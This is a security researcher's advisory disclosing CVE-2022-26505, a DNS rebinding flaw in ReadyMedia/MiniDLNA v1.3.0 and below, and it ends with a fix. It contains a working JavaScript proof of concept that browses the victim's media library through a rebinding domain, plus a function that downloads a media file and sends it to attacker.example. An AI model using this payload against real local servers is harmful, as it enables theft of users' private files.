/dev/posts/

DNS rebinding on ReadyMedia/minidlna v1.3.0 and below

Published:

Updated:

A DNS rebinding vulnerability I found in ReadyMedia (formerly MiniDLNA) v1.3.0 and below. This is CVE-2022-26505.

Overview

ReadyMedia (formerly MiniDLNA) v1.3.0 and below is vulnerable to DNS rebinding attacks because it does not enforce the value of the Host HTTP header. A malicious remote web server may trick the user browser into triggering arbitrary UPnP requests on the local DLNA server and observe the result of these actions. Moreover, the shared files are accessible through DNS rebinding as well.

A remote malicious server could exploit the user browser in order to:

This has been fixed in ReadyMedia v1.3.1.

This is CVE-2022-26505.

Tested on:

Proof of concept

The following JavaScript payload served from a HTTP web server using the same port number as ReadyMedia (TCP 8200 in our case) may be used to trigger the vulnerability:

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    const response = await fetch("/ctl/ContentDir", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:ContentDirectory:1#Browse"',
      },
	    body: `<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
        <u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
            <ObjectID>1</ObjectID>
            <BrowseFlag>BrowseDirectChildren</BrowseFlag>
            <Filter>*</Filter>
            <StartingIndex>0</StartingIndex>
            <RequestedCount>5000</RequestedCount>
            <SortCriteria></SortCriteria>
        </u:Browse>
    </s:Body>
</s:Envelope`
    });
    if (response.status == 200) {
      console.log(await response.text());
      return;
    }
    await sleep(1000);
  }
}
main()

The browser user must access this web server using a DNS rebinding domain name. For example using whonow:

http://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:8200/

The JavaScript code gets an answer such as:

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
        <u:BrowseResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
            <Result>&lt;DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dlna="urn:schemas-dlna-org:metadata-1-0/"&gt;
&lt;container id="1$FF0" parentID="1" restricted="1" searchable="0" childCount="1"&gt;&lt;dc:title&gt;Ajouts récents&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;container id="1$7" parentID="1" restricted="1" searchable="1" childCount="1"&gt;&lt;dc:title&gt;Album&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;container id="1$6" parentID="1" restricted="1" searchable="1" childCount="1"&gt;&lt;dc:title&gt;Artiste&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;container id="1$14" parentID="1" restricted="1" searchable="1" childCount="1"&gt;&lt;dc:title&gt;Dossiers&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;container id="1$5" parentID="1" restricted="1" searchable="1" childCount="1"&gt;&lt;dc:title&gt;Genre&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;container id="1$F" parentID="1" restricted="1" searchable="1" childCount="0"&gt;&lt;dc:title&gt;Liste de lecture&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;container id="1$4" parentID="1" restricted="1" searchable="1" childCount="1"&gt;&lt;dc:title&gt;Toute la musique&lt;/dc:title&gt;&lt;upnp:class&gt;object.container.storageFolder&lt;/upnp:class&gt;&lt;upnp:storageUsed&gt;-1&lt;/upnp:storageUsed&gt;&lt;/container&gt;&lt;/DIDL-Lite&gt;
            </Result>
            <NumberReturned>7</NumberReturned>
            <TotalMatches>7</TotalMatches>
            <UpdateID>0</UpdateID>
        </u:BrowseResponse>
    </s:Body>
</s:Envelope>

Which contains some DIDL-Lite:

<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/"
    xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"
    xmlns:dlna="urn:schemas-dlna-org:metadata-1-0/">
    <container id="1$FF0" parentID="1" restricted="1" searchable="0" childCount="1">
        <dc:title>Ajouts récents</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
    <container id="1$7" parentID="1" restricted="1" searchable="1" childCount="1">
        <dc:title>Album</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
    <container id="1$6" parentID="1" restricted="1" searchable="1" childCount="1">
        <dc:title>Artiste</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
    <container id="1$14" parentID="1" restricted="1" searchable="1" childCount="1">
        <dc:title>Dossiers</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
    <container id="1$5" parentID="1" restricted="1" searchable="1" childCount="1">
        <dc:title>Genre</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
    <container id="1$F" parentID="1" restricted="1" searchable="1" childCount="0">
        <dc:title>Liste de lecture</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
    <container id="1$4" parentID="1" restricted="1" searchable="1" childCount="1">
        <dc:title>Toute la musique</dc:title>
        <upnp:class>object.container.storageFolder</upnp:class>
        <upnp:storageUsed>-1</upnp:storageUsed>
    </container>
</DIDL-Lite>

The malicious JavaScript code could list some container:

fetch("/ctl/ContentDir", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:ContentDirectory:1#Browse"',
      },
	    body: `<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
        <u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
            <ObjectID>1$4</ObjectID>
            <BrowseFlag>BrowseDirectChildren</BrowseFlag>
            <Filter>*</Filter>
            <StartingIndex>0</StartingIndex>
            <RequestedCount>5000</RequestedCount>
            <SortCriteria></SortCriteria>
        </u:Browse>
    </s:Body>
</s:Envelope`
});

Which provides a DIDL such as:

<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dlna="urn:schemas-dlna-org:metadata-1-0/">
  <item id="1$4$0" parentID="1$4" restricted="1" refID="64$0">
    <dc:title>No Need to Explain</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <dc:creator>Lacuna Coil</dc:creator>
    <dc:date>1998-01-01</dc:date>
    <upnp:artist>Lacuna Coil</upnp:artist>
    <upnp:album>Lacuna Coil</upnp:album>
    <upnp:genre>Gothic Metal</upnp:genre>
    <upnp:originalTrackNumber>1</upnp:originalTrackNumber>
    <res size="4523621" duration="0:03:39.693" bitrate="163" sampleFrequency="44100" nrAudioChannels="2" protocolInfo="http-get:*:audio/ogg:*">http://192.168.1.42:8200/MediaItems/22.dat</res>
  </item>
</DIDL-Lite>

The malicious JavaScript code may download media files from the ReadyMedia instance and exfiltrate them:

async function exfiltrate() {
    const response = await fetch("/MediaItems/22.dat");
    const blob = await response.blob();
    fetch("http://attacker.example/", {
        method: "POST",
        body: blob,
        headers: {
            "Content-Type": "text/plain"
        }
    });
}

Resolution

This can be fixed by checking that the Host HTTP header contains a literal IP address and rejecting the incoming HTTP request if this condition is not verified. This verification is consistent with both UPnP 1.0 and UPnP 1.1 specifications.

See as well

Timeline